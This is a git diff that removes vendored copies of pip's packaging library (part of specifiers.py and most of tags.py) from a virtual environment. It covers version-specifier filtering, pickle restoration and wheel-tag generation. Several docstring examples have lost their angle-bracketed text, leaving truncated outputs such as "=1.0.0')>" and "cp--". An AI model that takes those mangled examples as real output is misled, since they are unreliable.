-            if len(state) == 2:
-                # New format (26.2+): (specs, prereleases)
-                specs, prereleases = state
-                if (
-                    isinstance(specs, tuple)
-                    and all(isinstance(s, Specifier) for s in specs)
-                    and _validate_pre(prereleases)
-                ):
-                    self._specs = specs
-                    self._prereleases = prereleases
-                    self._canonicalized = len(specs) <= 1
-                    self._has_arbitrary = any("===" in str(s) for s in specs)
-                    return
-            if len(state) == 2 and isinstance(state[1], dict):
-                # Format (packaging 26.0-26.1): (None, {slot: value}).
-                _, slot_dict = state
-                specs = slot_dict.get("_specs", ())
-                prereleases = slot_dict.get("_prereleases")
-                # Convert frozenset to tuple (26.0 stored as frozenset)
-                if isinstance(specs, frozenset):
-                    specs = tuple(sorted(specs, key=str))
-                if (
-                    isinstance(specs, tuple)
-                    and all(isinstance(s, Specifier) for s in specs)
-                    and _validate_pre(prereleases)
-                ):
-                    self._specs = specs
-                    self._prereleases = prereleases
-                    self._canonicalized = len(self._specs) <= 1
-                    self._has_arbitrary = any("===" in str(s) for s in self._specs)
-                    return
-        if isinstance(state, dict):
-            # Old format (packaging <= 25.x, no __slots__): state is a plain dict.
-            specs = state.get("_specs", ())
-            prereleases = state.get("_prereleases")
-            # Convert frozenset to tuple (26.0 stored as frozenset)
-            if isinstance(specs, frozenset):
-                specs = tuple(sorted(specs, key=str))
-            if (
-                isinstance(specs, tuple)
-                and all(isinstance(s, Specifier) for s in specs)
-                and _validate_pre(prereleases)
-            ):
-                self._specs = specs
-                self._prereleases = prereleases
-                self._canonicalized = len(self._specs) <= 1
-                self._has_arbitrary = any("===" in str(s) for s in self._specs)
-                return
-
-        raise TypeError(f"Cannot restore SpecifierSet from {state!r}")
-
-    def __repr__(self) -> str:
-        """A representation of the specifier set that shows all internal state.
-
-        Note that the ordering of the individual specifiers within the set may not
-        match the input string.
-
-        >>> SpecifierSet('>=1.0.0,!=2.0.0')
-        =1.0.0')>
-        >>> SpecifierSet('>=1.0.0,!=2.0.0', prereleases=False)
-        =1.0.0', prereleases=False)>
-        >>> SpecifierSet('>=1.0.0,!=2.0.0', prereleases=True)
-        =1.0.0', prereleases=True)>
-        """
-        pre = (
-            f", prereleases={self.prereleases!r}"
-            if self._prereleases is not None
-            else ""
-        )
-
-        return f"<{self.__class__.__name__}({str(self)!r}{pre})>"
-
-    def __str__(self) -> str:
-        """A string representation of the specifier set that can be round-tripped.
-
-        Note that the ordering of the individual specifiers within the set may not
-        match the input string.
-
-        >>> str(SpecifierSet(">=1.0.0,!=1.0.1"))
-        '!=1.0.1,>=1.0.0'
-        >>> str(SpecifierSet(">=1.0.0,!=1.0.1", prereleases=False))
-        '!=1.0.1,>=1.0.0'
-        """
-        return ",".join(str(s) for s in self._canonical_specs())
-
-    def __hash__(self) -> int:
-        return hash(self._canonical_specs())
-
-    def __and__(self, other: SpecifierSet | str) -> SpecifierSet:
-        """Return a SpecifierSet which is a combination of the two sets.
-
-        :param other: The other object to combine with.
-
-        >>> SpecifierSet(">=1.0.0,!=1.0.1") & '<=2.0.0,!=2.0.1'
-        =1.0.0')>
-        >>> SpecifierSet(">=1.0.0,!=1.0.1") & SpecifierSet('<=2.0.0,!=2.0.1')
-        =1.0.0')>
-        """
-        if isinstance(other, str):
-            other = SpecifierSet(other)
-        elif not isinstance(other, SpecifierSet):
-            return NotImplemented
-
-        specifier = SpecifierSet()
-        specifier._specs = self._specs + other._specs
-        specifier._canonicalized = len(specifier._specs) <= 1
-        specifier._has_arbitrary = self._has_arbitrary or other._has_arbitrary
-        specifier._resolved_ops = None
-
-        # Combine prerelease settings: use common or non-None value
-        if self._prereleases is None or self._prereleases == other._prereleases:
-            specifier._prereleases = other._prereleases
-        elif other._prereleases is None:
-            specifier._prereleases = self._prereleases
-        else:
-            raise ValueError(
-                "Cannot combine SpecifierSets with True and False prerelease overrides."
-            )
-
-        return specifier
-
-    def __eq__(self, other: object) -> bool:
-        """Whether or not the two SpecifierSet-like objects are equal.
-
-        :param other: The other object to check against.
-
-        The value of :attr:`prereleases` is ignored.
-
-        >>> SpecifierSet(">=1.0.0,!=1.0.1") == SpecifierSet(">=1.0.0,!=1.0.1")
-        True
-        >>> (SpecifierSet(">=1.0.0,!=1.0.1", prereleases=False) ==
-        ...  SpecifierSet(">=1.0.0,!=1.0.1", prereleases=True))
-        True
-        >>> SpecifierSet(">=1.0.0,!=1.0.1") == ">=1.0.0,!=1.0.1"
-        True
-        >>> SpecifierSet(">=1.0.0,!=1.0.1") == SpecifierSet(">=1.0.0")
-        False
-        >>> SpecifierSet(">=1.0.0,!=1.0.1") == SpecifierSet(">=1.0.0,!=1.0.2")
-        False
-        """
-        if isinstance(other, (str, Specifier)):
-            other = SpecifierSet(str(other))
-        elif not isinstance(other, SpecifierSet):
-            return NotImplemented
-
-        return self._canonical_specs() == other._canonical_specs()
-
-    def __len__(self) -> int:
-        """Returns the number of specifiers in this specifier set."""
-        return len(self._specs)
-
-    def __iter__(self) -> Iterator[Specifier]:
-        """
-        Returns an iterator over all the underlying :class:`Specifier` instances
-        in this specifier set.
-
-        >>> sorted(SpecifierSet(">=1.0.0,!=1.0.1"), key=str)
-        [, =1.0.0')>]
-        """
-        return iter(self._specs)
-
-    def _get_ranges(self) -> Sequence[_VersionRange]:
-        """Intersect all specifiers into a single list of version ranges.
-
-        Returns an empty list when unsatisfiable.  ``===`` specs are
-        modeled as full range; string matching is checked separately
-        by :meth:`_check_arbitrary_unsatisfiable`.
-        """
-        specs = self._specs
-
-        result: Sequence[_VersionRange] | None = None
-        for s in specs:
-            if result is None:
-                result = s._to_ranges()
-            else:
-                result = _intersect_ranges(result, s._to_ranges())
-                if not result:
-                    break
-
-        if result is None:  # pragma: no cover
-            raise RuntimeError("_get_ranges called with no specs")
-        return result
-
-    def is_unsatisfiable(self) -> bool:
-        """Check whether this specifier set can never be satisfied.
-
-        Returns True if no version can satisfy all specifiers simultaneously.
-
-        >>> SpecifierSet(">=2.0,<1.0").is_unsatisfiable()
-        True
-        >>> SpecifierSet(">=1.0,<2.0").is_unsatisfiable()
-        False
-        >>> SpecifierSet("").is_unsatisfiable()
-        False
-        >>> SpecifierSet("==1.0,!=1.0").is_unsatisfiable()
-        True
-        """
-        cached = self._is_unsatisfiable
-        if cached is not None:
-            return cached
-
-        if not self._specs:
-            self._is_unsatisfiable = False
-            return False
-
-        result = not self._get_ranges()
-
-        if not result:
-            result = self._check_arbitrary_unsatisfiable()
-
-        if not result and self.prereleases is False:
-            result = self._check_prerelease_only_ranges()
-
-        self._is_unsatisfiable = result
-        return result
-
-    def _check_prerelease_only_ranges(self) -> bool:
-        """With prereleases=False, check if every range contains only
-        pre-release versions (which would be excluded from matching)."""
-        for lower, upper in self._get_ranges():
-            nearest = _nearest_non_prerelease(lower.version)
-            if nearest is None:
-                return False
-            if upper.version is None or nearest < upper.version:
-                return False
-            if nearest == upper.version and upper.inclusive:
-                return False
-        return True
-
-    def _check_arbitrary_unsatisfiable(self) -> bool:
-        """Check === (arbitrary equality) specs for unsatisfiability.
-
-        === uses case-insensitive string comparison, so the only candidate
-        that can match ``===V`` is the literal string V.  This method
-        checks whether that candidate is excluded by other specifiers.
-        """
-        arbitrary = [s for s in self._specs if s.operator == "==="]
-        if not arbitrary:
-            return False
-
-        # Multiple === must agree on the same string (case-insensitive).
-        first = arbitrary[0].version.lower()
-        if any(s.version.lower() != first for s in arbitrary[1:]):
-            return True
-
-        # The sole candidate is the === version string.  Check whether
-        # it can satisfy every standard spec.
-        candidate = _coerce_version(arbitrary[0].version)
-
-        # With prereleases=False, a prerelease candidate is excluded
-        # by contains() before the === string check even runs.
-        if (
-            self.prereleases is False
-            and candidate is not None
-            and candidate.is_prerelease
-        ):
-            return True
-
-        standard = [s for s in self._specs if s.operator != "==="]
-        if not standard:
-            return False
-
-        if candidate is None:
-            # Unparsable string cannot satisfy any standard spec.
-            return True
-
-        return not all(s.contains(candidate) for s in standard)
-
-    def __contains__(self, item: UnparsedVersion) -> bool:
-        """Return whether or not the item is contained in this specifier.
-
-        :param item: The item to check for.
-
-        This is used for the ``in`` operator and behaves the same as
-        :meth:`contains` with no ``prereleases`` argument passed.
-
-        >>> "1.2.3" in SpecifierSet(">=1.0.0,!=1.0.1")
-        True
-        >>> Version("1.2.3") in SpecifierSet(">=1.0.0,!=1.0.1")
-        True
-        >>> "1.0.1" in SpecifierSet(">=1.0.0,!=1.0.1")
-        False
-        >>> "1.3.0a1" in SpecifierSet(">=1.0.0,!=1.0.1")
-        True
-        >>> "1.3.0a1" in SpecifierSet(">=1.0.0,!=1.0.1", prereleases=True)
-        True
-        """
-        return self.contains(item)
-
-    def contains(
-        self,
-        item: UnparsedVersion,
-        prereleases: bool | None = None,
-        installed: bool | None = None,
-    ) -> bool:
-        """Return whether or not the item is contained in this SpecifierSet.
-
-        :param item:
-            The item to check for, which can be a version string or a
-            :class:`Version` instance.
-        :param prereleases:
-            Whether or not to match prereleases with this SpecifierSet. If set to
-            ``None`` (the default), it will follow the recommendation from :pep:`440`
-            and match prereleases, as there are no other versions.
-        :param installed:
-            Whether or not the item is installed. If set to ``True``, it will
-            accept prerelease versions even if the specifier does not allow them.
-
-        >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.2.3")
-        True
-        >>> SpecifierSet(">=1.0.0,!=1.0.1").contains(Version("1.2.3"))
-        True
-        >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.0.1")
-        False
-        >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.3.0a1")
-        True
-        >>> SpecifierSet(">=1.0.0,!=1.0.1", prereleases=False).contains("1.3.0a1")
-        False
-        >>> SpecifierSet(">=1.0.0,!=1.0.1").contains("1.3.0a1", prereleases=True)
-        True
-        """
-        version = _coerce_version(item)
-
-        if version is not None and installed and version.is_prerelease:
-            prereleases = True
-
-        # When item is a string and === is involved, keep it as-is
-        # so the comparison isn't done against the normalized form.
-        if version is None or (self._has_arbitrary and not isinstance(item, Version)):
-            check_item = item
-        else:
-            check_item = version
-        return bool(list(self.filter([check_item], prereleases=prereleases)))
-
-    @typing.overload
-    def filter(
-        self,
-        iterable: Iterable[UnparsedVersionVar],
-        prereleases: bool | None = None,
-        key: None = ...,
-    ) -> Iterator[UnparsedVersionVar]: ...
-
-    @typing.overload
-    def filter(
-        self,
-        iterable: Iterable[T],
-        prereleases: bool | None = None,
-        key: Callable[[T], UnparsedVersion] = ...,
-    ) -> Iterator[T]: ...
-
-    def filter(
-        self,
-        iterable: Iterable[Any],
-        prereleases: bool | None = None,
-        key: Callable[[Any], UnparsedVersion] | None = None,
-    ) -> Iterator[Any]:
-        """Filter items in the given iterable, that match the specifiers in this set.
-
-        :param iterable:
-            An iterable that can contain version strings and :class:`Version` instances.
-            The items in the iterable will be filtered according to the specifier.
-        :param prereleases:
-            Whether or not to allow prereleases in the returned iterator. If set to
-            ``None`` (the default), it will follow the recommendation from :pep:`440`
-            and match prereleases if there are no other versions.
-        :param key:
-            A callable that takes a single argument (an item from the iterable) and
-            returns a version string or :class:`Version` instance to be used for
-            filtering.
-
-        >>> list(SpecifierSet(">=1.2.3").filter(["1.2", "1.3", "1.5a1"]))
-        ['1.3']
-        >>> list(SpecifierSet(">=1.2.3").filter(["1.2", "1.3", Version("1.4")]))
-        ['1.3', ]
-        >>> list(SpecifierSet(">=1.2.3").filter(["1.2", "1.5a1"]))
-        ['1.5a1']
-        >>> list(SpecifierSet(">=1.2.3").filter(["1.3", "1.5a1"], prereleases=True))
-        ['1.3', '1.5a1']
-        >>> list(SpecifierSet(">=1.2.3", prereleases=True).filter(["1.3", "1.5a1"]))
-        ['1.3', '1.5a1']
-        >>> list(SpecifierSet(">=1.2.3").filter(
-        ... [{"ver": "1.2"}, {"ver": "1.3"}],
-        ... key=lambda x: x["ver"]))
-        [{'ver': '1.3'}]
-
-        An "empty" SpecifierSet will filter items based on the presence of prerelease
-        versions in the set.
-
-        >>> list(SpecifierSet("").filter(["1.3", "1.5a1"]))
-        ['1.3']
-        >>> list(SpecifierSet("").filter(["1.5a1"]))
-        ['1.5a1']
-        >>> list(SpecifierSet("", prereleases=True).filter(["1.3", "1.5a1"]))
-        ['1.3', '1.5a1']
-        >>> list(SpecifierSet("").filter(["1.3", "1.5a1"], prereleases=True))
-        ['1.3', '1.5a1']
-        """
-        # Determine if we're forcing a prerelease or not, if we're not forcing
-        # one for this particular filter call, then we'll use whatever the
-        # SpecifierSet thinks for whether or not we should support prereleases.
-        if prereleases is None and self.prereleases is not None:
-            prereleases = self.prereleases
-
-        # Filter versions that match all specifiers using Cost Based Ordering.
-        if self._specs:
-            # When prereleases is None, we need to let all versions through
-            # the individual filters, then decide about prereleases at the end
-            # based on whether any non-prereleases matched ALL specs.
-
-            # Fast path: single specifier, delegate directly.
-            if len(self._specs) == 1:
-                filtered = self._specs[0].filter(
-                    iterable,
-                    prereleases=True if prereleases is None else prereleases,
-                    key=key,
-                )
-            else:
-                filtered = self._filter_versions(
-                    iterable,
-                    key,
-                    prereleases=True if prereleases is None else prereleases,
-                )
-
-            if prereleases is not None:
-                return filtered
-
-            return _pep440_filter_prereleases(filtered, key)
-
-        # Handle Empty SpecifierSet.
-        if prereleases is True:
-            return iter(iterable)
-
-        if prereleases is False:
-            return (
-                item
-                for item in iterable
-                if (
-                    (version := _coerce_version(item if key is None else key(item)))
-                    is None
-                    or not version.is_prerelease
-                )
-            )
-
-        # PEP 440: exclude prereleases unless no final releases matched
-        return _pep440_filter_prereleases(iterable, key)
-
-    def _filter_versions(
-        self,
-        iterable: Iterable[Any],
-        key: Callable[[Any], UnparsedVersion] | None,
-        prereleases: bool | None = None,
-    ) -> Iterator[Any]:
-        """Filter versions against all specifiers in a single pass.
-
-        Uses Cost Based Ordering: specifiers are sorted by _operator_cost so
-        that cheap range operators reject versions early, avoiding expensive
-        wildcard or compatible operators on versions that would have been
-        rejected anyway.
-        """
-        # Pre-resolve operators and sort (cached after first call).
-        if self._resolved_ops is None:
-            self._resolved_ops = sorted(
-                (
-                    (spec._get_operator(spec.operator), spec.version, spec.operator)
-                    for spec in self._specs
-                ),
-                key=_operator_cost,
-            )
-        ops = self._resolved_ops
-        exclude_prereleases = prereleases is False
-
-        for item in iterable:
-            parsed = _coerce_version(item if key is None else key(item))
-
-            if parsed is None:
-                # Only === can match non-parseable versions.
-                if all(
-                    op == "===" and str(item).lower() == ver.lower()
-                    for _, ver, op in ops
-                ):
-                    yield item
-            elif exclude_prereleases and parsed.is_prerelease:
-                pass
-            elif all(
-                str(item if key is None else key(item)).lower() == ver.lower()
-                if op == "==="
-                else op_fn(parsed, ver)
-                for op_fn, ver, op in ops
-            ):
-                # Short-circuits on the first failing operator.
-                yield item
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/tags.py b/venv/Lib/site-packages/pip/_vendor/packaging/tags.py
deleted file mode 100644
index 979fbd2eedf33c63759d970013b29cd441eaf85f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/tags.py
+++ /dev/null
@@ -1,932 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-
-from __future__ import annotations
-
-import logging
-import operator
-import platform
-import re
-import struct
-import subprocess
-import sys
-import sysconfig
-from importlib.machinery import EXTENSION_SUFFIXES
-from typing import (
-    TYPE_CHECKING,
-    Iterable,
-    Iterator,
-    Sequence,
-    Tuple,
-    TypeVar,
-    cast,
-)
-
-from . import _manylinux, _musllinux
-
-if TYPE_CHECKING:
-    from collections.abc import Callable, Iterable
-    from typing import AbstractSet
-
-
-__all__ = [
-    "INTERPRETER_SHORT_NAMES",
-    "AppleVersion",
-    "PythonVersion",
-    "Tag",
-    "UnsortedTagsError",
-    "android_platforms",
-    "compatible_tags",
-    "cpython_tags",
-    "create_compatible_tags_selector",
-    "generic_tags",
-    "interpreter_name",
-    "interpreter_version",
-    "ios_platforms",
-    "mac_platforms",
-    "parse_tag",
-    "platform_tags",
-    "sys_tags",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-logger = logging.getLogger(__name__)
-
-PythonVersion = Sequence[int]
-AppleVersion = Tuple[int, int]
-_T = TypeVar("_T")
-
-INTERPRETER_SHORT_NAMES: dict[str, str] = {
-    "python": "py",  # Generic.
-    "cpython": "cp",
-    "pypy": "pp",
-    "ironpython": "ip",
-    "jython": "jy",
-}
-
-
-# This function can be unit tested without reloading the module
-# (Unlike _32_BIT_INTERPRETER)
-def _compute_32_bit_interpreter() -> bool:
-    return struct.calcsize("P") == 4
-
-
-_32_BIT_INTERPRETER = _compute_32_bit_interpreter()
-
-
-class UnsortedTagsError(ValueError):
-    """
-    Raised when a tag component is not in sorted order per PEP 425.
-    """
-
-
-class Tag:
-    """
-    A representation of the tag triple for a wheel.
-
-    Instances are considered immutable and thus are hashable. Equality checking
-    is also supported.
-
-    Instances are safe to serialize with :mod:`pickle`. They use a stable
-    format so the same pickle can be loaded in future packaging releases.
-
-    .. versionchanged:: 26.2
-
-        Added a stable pickle format. Pickles created with packaging 26.2+ can
-        be unpickled with future releases.  Backward compatibility with pickles
-        from pip._vendor.packaging < 26.2 is supported but may be removed in a future
-        release.
-    """
-
-    __slots__ = ["_abi", "_hash", "_interpreter", "_platform"]
-
-    def __init__(self, interpreter: str, abi: str, platform: str) -> None:
-        """
-        :param str interpreter: The interpreter name, e.g. ``"py"``
-                                (see :attr:`INTERPRETER_SHORT_NAMES` for mapping
-                                well-known interpreter names to their short names).
-        :param str abi: The ABI that a wheel supports, e.g. ``"cp37m"``.
-        :param str platform: The OS/platform the wheel supports,
-                            e.g. ``"win_amd64"``.
-        """
-        self._interpreter = interpreter.lower()
-        self._abi = abi.lower()
-        self._platform = platform.lower()
-        # The __hash__ of every single element in a Set[Tag] will be evaluated each time
-        # that a set calls its `.disjoint()` method, which may be called hundreds of
-        # times when scanning a page of links for packages with tags matching that
-        # Set[Tag]. Pre-computing the value here produces significant speedups for
-        # downstream consumers.
-        self._hash = hash((self._interpreter, self._abi, self._platform))
-
-    @property
-    def interpreter(self) -> str:
-        """
-        The interpreter name, e.g. ``"py"`` (see
-        :attr:`INTERPRETER_SHORT_NAMES` for mapping well-known interpreter
-        names to their short names).
-        """
-        return self._interpreter
-
-    @property
-    def abi(self) -> str:
-        """
-        The supported ABI.
-        """
-        return self._abi
-
-    @property
-    def platform(self) -> str:
-        """
-        The OS/platform.
-        """
-        return self._platform
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, Tag):
-            return NotImplemented
-
-        return (
-            (self._hash == other._hash)  # Short-circuit ASAP for perf reasons.
-            and (self._platform == other._platform)
-            and (self._abi == other._abi)
-            and (self._interpreter == other._interpreter)
-        )
-
-    def __hash__(self) -> int:
-        return self._hash
-
-    def __str__(self) -> str:
-        return f"{self._interpreter}-{self._abi}-{self._platform}"
-
-    def __repr__(self) -> str:
-        return f"<{self} @ {id(self)}>"
-
-    def __getstate__(self) -> tuple[str, str, str]:
-        # Return state as a 3-item tuple: (interpreter, abi, platform).
-        # Cache member _hash is excluded and will be recomputed.
-        return (self._interpreter, self._abi, self._platform)
-
-    def __setstate__(self, state: object) -> None:
-        if isinstance(state, tuple):
-            if len(state) == 3 and all(isinstance(s, str) for s in state):
-                # New format (26.2+): (interpreter, abi, platform)
-                self._interpreter, self._abi, self._platform = state
-                self._hash = hash((self._interpreter, self._abi, self._platform))
-                return
-            if len(state) == 2 and isinstance(state[1], dict):
-                # Old format (packaging <= 26.1, __slots__): (None, {slot: value}).
-                _, slots = state
-                try:
-                    interpreter = slots["_interpreter"]
-                    abi = slots["_abi"]
-                    platform = slots["_platform"]
-                except KeyError:
-                    raise TypeError(f"Cannot restore Tag from {state!r}") from None
-                if not all(
-                    isinstance(value, str) for value in (interpreter, abi, platform)
-                ):
-                    raise TypeError(f"Cannot restore Tag from {state!r}")
-                self._interpreter = interpreter.lower()
-                self._abi = abi.lower()
-                self._platform = platform.lower()
-                self._hash = hash((self._interpreter, self._abi, self._platform))
-                return
-        raise TypeError(f"Cannot restore Tag from {state!r}")
-
-
-def parse_tag(tag: str, *, validate_order: bool = False) -> frozenset[Tag]:
-    """
-    Parses the provided tag (e.g. `py3-none-any`) into a frozenset of
-    :class:`Tag` instances.
-
-    Returning a set is required due to the possibility that the tag is a
-    `compressed tag set`_, e.g. ``"py2.py3-none-any"`` which supports both
-    Python 2 and Python 3.
-
-    If **validate_order** is true, compressed tag set components are checked
-    to be in sorted order as required by PEP 425.
-
-    :param str tag: The tag to parse, e.g. ``"py3-none-any"``.
-    :param bool validate_order: Check whether compressed tag set components
-        are in sorted order.
-    :raises UnsortedTagsError: If **validate_order** is true and any compressed tag
-        set component is not in sorted order.
-
-    .. versionadded:: 26.1
-       The *validate_order* parameter.
-    """
-    tags = set()
-    interpreters, abis, platforms = tag.split("-")
-    if validate_order:
-        for component in (interpreters, abis, platforms):
-            parts = component.split(".")
-            if parts != sorted(parts):
-                raise UnsortedTagsError(
-                    f"Tag component {component!r} is not in sorted order per PEP 425"
-                )
-    for interpreter in interpreters.split("."):
-        for abi in abis.split("."):
-            for platform_ in platforms.split("."):
-                tags.add(Tag(interpreter, abi, platform_))
-    return frozenset(tags)
-
-
-def _get_config_var(name: str, warn: bool = False) -> int | str | None:
-    value: int | str | None = sysconfig.get_config_var(name)
-    if value is None and warn:
-        logger.debug(
-            "Config variable '%s' is unset, Python ABI tag may be incorrect", name
-        )
-    return value
-
-
-def _normalize_string(string: str) -> str:
-    return string.replace(".", "_").replace("-", "_").replace(" ", "_")
-
-
-def _is_threaded_cpython(abis: list[str]) -> bool:
-    """
-    Determine if the ABI corresponds to a threaded (`--disable-gil`) build.
-
-    The threaded builds are indicated by a "t" in the abiflags.
-    """
-    if len(abis) == 0:
-        return False
-    # expect e.g., cp313
-    m = re.match(r"cp\d+(.*)", abis[0])
-    if not m:
-        return False
-    abiflags = m.group(1)
-    return "t" in abiflags
-
-
-def _abi3_applies(python_version: PythonVersion, threading: bool) -> bool:
-    """
-    Determine if the Python version supports abi3.
-
-    PEP 384 was first implemented in Python 3.2. The free-threaded
-    builds do not support abi3.
-    """
-    return len(python_version) > 1 and tuple(python_version) >= (3, 2) and not threading
-
-
-def _abi3t_applies(python_version: PythonVersion, threading: bool) -> bool:
-    """
-    Determine if the Python version supports abi3t.
-
-    PEP 803 was first implemented in Python 3.15 but, per PEP 803, this
-    returns tags going back to Python 3.2 to mirror the abi3
-    implementation and leave open the possibility of abi3t wheels
-    supporting older Python versions.
-
-    """
-    return len(python_version) > 1 and tuple(python_version) >= (3, 2) and threading
-
-
-def _cpython_abis(py_version: PythonVersion, warn: bool = False) -> list[str]:
-    py_version = tuple(py_version)  # To allow for version comparison.
-    abis = []
-    version = _version_nodot(py_version[:2])
-    threading = debug = pymalloc = ucs4 = ""
-    with_debug = _get_config_var("Py_DEBUG", warn)
-    has_refcount = hasattr(sys, "gettotalrefcount")
-    # Windows doesn't set Py_DEBUG, so checking for support of debug-compiled
-    # extension modules is the best option.
-    # https://github.com/pypa/pip/issues/3383#issuecomment-173267692
-    has_ext = "_d.pyd" in EXTENSION_SUFFIXES
-    if with_debug or (with_debug is None and (has_refcount or has_ext)):
-        debug = "d"
-    if py_version >= (3, 13) and _get_config_var("Py_GIL_DISABLED", warn):
-        threading = "t"
-    if py_version < (3, 8):
-        with_pymalloc = _get_config_var("WITH_PYMALLOC", warn)
-        if with_pymalloc or with_pymalloc is None:
-            pymalloc = "m"
-        if py_version < (3, 3):
-            unicode_size = _get_config_var("Py_UNICODE_SIZE", warn)
-            if unicode_size == 4 or (
-                unicode_size is None and sys.maxunicode == 0x10FFFF
-            ):
-                ucs4 = "u"
-    elif debug:
-        # Debug builds can also load "normal" extension modules.
-        # We can also assume no UCS-4 or pymalloc requirement.
-        abis.append(f"cp{version}{threading}")
-    abis.insert(0, f"cp{version}{threading}{debug}{pymalloc}{ucs4}")
-    return abis
-
-
-def cpython_tags(
-    python_version: PythonVersion | None = None,
-    abis: Iterable[str] | None = None,
-    platforms: Iterable[str] | None = None,
-    *,
-    warn: bool = False,
-) -> Iterator[Tag]:
-    """
-    Yields the tags for the CPython interpreter.
-
-    The specific tags generated are:
-
-    - ``cp--``
-    - ``cp--``
-    - ``cp-none-``
-    - ``cp--`` where "older version" is all older
-      minor versions down to Python 3.2 (when ``abi3`` was introduced)
-
-    If ``python_version`` only provides a major-only version then only
-    user-provided ABIs via ``abis`` and the ``none`` ABI will be used.
-
-    The ``stable_abi`` will be either ``abi3`` or ``abi3t`` if `abi` is a
-    GIL-enabled ABI like `"cp315"` or a free-threaded ABI like `"cp315t"`,
-    respectively.
-
-    :param Sequence python_version: A one- or two-item sequence representing the
-                                 targeted Python version. Defaults to
-                                 ``sys.version_info[:2]``.
-    :param Iterable abis: Iterable of compatible ABIs. Defaults to the ABIs
-                          compatible with the current system.
-    :param Iterable platforms: Iterable of compatible platforms. Defaults to the
-                               platforms compatible with the current system.
-    :param bool warn: Whether warnings should be logged. Defaults to ``False``.
-    """
-    if not python_version:
-        python_version = sys.version_info[:2]
-
-    interpreter = f"cp{_version_nodot(python_version[:2])}"
-
-    if abis is None:
-        abis = _cpython_abis(python_version, warn) if len(python_version) > 1 else []
-    abis = list(abis)
-    # 'abi3' and 'none' are explicitly handled later.
-    for explicit_abi in ("abi3", "none"):
-        try:
-            abis.remove(explicit_abi)
-        except ValueError:  # noqa: PERF203
-            pass
-
-    platforms = list(platforms or platform_tags())
-    for abi in abis:
-        for platform_ in platforms:
-            yield Tag(interpreter, abi, platform_)
-
-    threading = _is_threaded_cpython(abis)
-    use_abi3 = _abi3_applies(python_version, threading)
-    use_abi3t = _abi3t_applies(python_version, threading)
-
-    if use_abi3:
-        yield from (Tag(interpreter, "abi3", platform_) for platform_ in platforms)
-    if use_abi3t:
-        yield from (Tag(interpreter, "abi3t", platform_) for platform_ in platforms)
-
-    yield from (Tag(interpreter, "none", platform_) for platform_ in platforms)
-
-    if use_abi3 or use_abi3t:
-        for minor_version in range(python_version[1] - 1, 1, -1):
-            for platform_ in platforms:
-                version = _version_nodot((python_version[0], minor_version))
-                interpreter = f"cp{version}"
-                if use_abi3:
-                    yield Tag(interpreter, "abi3", platform_)
-                if use_abi3t:
-                    # Support for abi3t was introduced in Python 3.15, but in
-                    # principle abi3t wheels are possible for older limited API
-                    # versions, so allow things like ("cp37", "abi3t", "platform")
-                    yield Tag(interpreter, "abi3t", platform_)
-
-
-def _generic_abi() -> list[str]:
-    """
-    Return the ABI tag based on EXT_SUFFIX.
-    """
-    # The following are examples of `EXT_SUFFIX`.
-    # We want to keep the parts which are related to the ABI and remove the
-    # parts which are related to the platform:
-    # - linux:   '.cpython-310-x86_64-linux-gnu.so' => cp310
-    # - mac:     '.cpython-310-darwin.so'           => cp310
-    # - win:     '.cp310-win_amd64.pyd'             => cp310
-    # - win:     '.pyd'                             => cp37 (uses _cpython_abis())
-    # - pypy:    '.pypy38-pp73-x86_64-linux-gnu.so' => pypy38_pp73
-    # - graalpy: '.graalpy-38-native-x86_64-darwin.dylib'
-    #                                               => graalpy_38_native
-
-    ext_suffix = _get_config_var("EXT_SUFFIX", warn=True)
-    if not isinstance(ext_suffix, str) or ext_suffix[0] != ".":
-        raise SystemError("invalid sysconfig.get_config_var('EXT_SUFFIX')")
-    parts = ext_suffix.split(".")
-    if len(parts) < 3:
-        # CPython3.7 and earlier uses ".pyd" on Windows.
-        return _cpython_abis(sys.version_info[:2])
-    soabi = parts[1]
-    if soabi.startswith("cpython"):
-        # non-windows
-        abi = "cp" + soabi.split("-")[1]
-    elif soabi.startswith("cp"):
-        # windows
-        abi = soabi.split("-")[0]
-    elif soabi.startswith("pypy"):
-        abi = "-".join(soabi.split("-")[:2])
-    elif soabi.startswith("graalpy"):
-        abi = "-".join(soabi.split("-")[:3])
-    elif soabi:
-        # pyston, ironpython, others?
-        abi = soabi
-    else:
-        return []
-    return [_normalize_string(abi)]
-
-
-def generic_tags(
-    interpreter: str | None = None,
-    abis: Iterable[str] | None = None,
-    platforms: Iterable[str] | None = None,
-    *,
-    warn: bool = False,
-) -> Iterator[Tag]:
-    """
-    Yields the tags for an interpreter which requires no specialization.
-
-    This function should be used if one of the other interpreter-specific
-    functions provided by this module is not appropriate (i.e. not calculating
-    tags for a CPython interpreter).
-
-    The specific tags generated are:
-
-    - ``--``
-
-    The ``"none"`` ABI will be added if it was not explicitly provided.
-
-    :param str interpreter: The name of the interpreter. Defaults to being
-                            calculated.
-    :param Iterable abis: Iterable of compatible ABIs. Defaults to the ABIs
-                          compatible with the current system.
-    :param Iterable platforms: Iterable of compatible platforms. Defaults to the
-                               platforms compatible with the current system.
-    :param bool warn: Whether warnings should be logged. Defaults to ``False``.
-    """
-    if not interpreter:
-        interp_name = interpreter_name()
-        interp_version = interpreter_version(warn=warn)
-        interpreter = f"{interp_name}{interp_version}"
-    abis = _generic_abi() if abis is None else list(abis)
-    platforms = list(platforms or platform_tags())
-    if "none" not in abis:
-        abis.append("none")
-    for abi in abis:
-        for platform_ in platforms:
-            yield Tag(interpreter, abi, platform_)
-
-
-def _py_interpreter_range(py_version: PythonVersion) -> Iterator[str]:
-    """
-    Yields Python versions in descending order.
-
-    After the latest version, the major-only version will be yielded, and then
-    all previous versions of that major version.
-    """
-    if len(py_version) > 1:
-        yield f"py{_version_nodot(py_version[:2])}"
-    yield f"py{py_version[0]}"
-    if len(py_version) > 1:
-        for minor in range(py_version[1] - 1, -1, -1):
-            yield f"py{_version_nodot((py_version[0], minor))}"
-
-
-def compatible_tags(
-    python_version: PythonVersion | None = None,
-    interpreter: str | None = None,
-    platforms: Iterable[str] | None = None,
-) -> Iterator[Tag]:
-    """
